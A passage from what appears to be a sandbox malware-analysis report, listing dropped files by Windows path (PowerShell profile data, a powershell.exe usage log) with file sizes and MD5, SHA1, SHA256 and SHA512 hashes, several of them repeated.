SHA2561b6b99589d7710d91cc84f7ea8ba38eb4ab8b284936b5b39e4d025b4b403d816
SHA5126a2ff9fe5416657e532b294c21a2e2f722c29096877c89f555d19137a564d6d8274be4c3c37bf3b40fb32330966a7c062f1fba71f4f05cc46e70331069160744
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize19KB
MD580b95ac27d1505c6f1c152cdbb26d172
SHA17dd668b9aea5fb344c38a350782144b757e797b8
SHA2565ccdd1dcb4e7c70f84afd2d1505bd1fa113f58f2f4b7cefe481dd12882421653
SHA5124126981c368a40f4a9c3e6a7416567f89463a7236975b81aeb2962c05af3c1133d8842a409afe4f7d52ef81a02aad6c4e76852e6c6960adde6eea63fd5fb5841
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize19KB
MD5df57d9a149c6a4a5cd56cb918dccfb7d
SHA141d7e46fcbaef4e6f0c403b292ecb130c19158b7
SHA256d81dcd9dff3a37187e3b3aee20ca51656be8d7615b05094055d2a210b77cdb5f
SHA51296f4c0a0ef72bbd7f0374c1fd80ef5f11fb752d6c527d4e3a803e7c07c11e987f9a524a6055e250feb239f2f87dcea1bacf9caf4718301c3c1ced9516bbbe824
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize19KB
MD5b69f831a29cefe85cff2bd8703815eb8
SHA1205e28844b5b0b2083d5e8aaa33c8d911d1f0112
SHA2566b59ea1703e5ef15bbc5a3957a8b320ce7f4a3c68b8a89aba0b521569982671e
SHA512b00885cddc5969bd7249e23458648504188ba302fc6cedb7703d86223e7b10178d37e013503043147d536f1eb587af1ed4e682706b5242c1eb9b4ebb2521be37
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize19KB
MD595e094a64e4bba8ab9a025d2efe7774c
SHA1fd27bd2429f0ed22c1f4f22b099b7ab88a2d9029
SHA2569bc53698abd49f569e5554b981c1e23a1cc6ff8fc4865b5839cb36b208ee31f5
SHA5120d7dca962a556c12ca3e3634d26edc829ea587e87b276b172c341f0815ab7461cff9d53108f367b7c8c02de798c500e61a74893730bbc5cb73ec80c4654ef9c8
-
Filesize
3KB
MD500930b40cba79465b7a38ed0449d1449
SHA14b25a89ee28b20ba162f23772ddaf017669092a5
SHA256eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
SHA512cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62
-
Filesize
4.1MB
MD56725367cdcecead21e3bb16f2c147fc5
SHA1d9634b52918cae903ab33cf5e95cec4e2d68887a
SHA256cb935fddf7319e8608578e21e898abc9b1638b4608b8865483e429350e208a80
SHA5121583b53edceb75399bfd3a58cd1b6841ffbc4c6590ef1d6599a7f8e788ab96425871499d91c1cebe68bf3bb69c70636cb8f6acda8246aaa210c1ab110b4e39ef
-
Filesize
4.1MB
MD56725367cdcecead21e3bb16f2c147fc5
SHA1d9634b52918cae903ab33cf5e95cec4e2d68887a
SHA256cb935fddf7319e8608578e21e898abc9b1638b4608b8865483e429350e208a80
SHA5121583b53edceb75399bfd3a58cd1b6841ffbc4c6590ef1d6599a7f8e788ab96425871499d91c1cebe68bf3bb69c70636cb8f6acda8246aaa210c1ab110b4e39ef
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
-
Filesize
3KB
MD500930b40cba79465b7a38ed0449d1449
SHA14b25a89ee28b20ba162f23772ddaf017669092a5
SHA256eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
SHA512cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62
-
Filesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec
-
Filesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec
-
Filesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec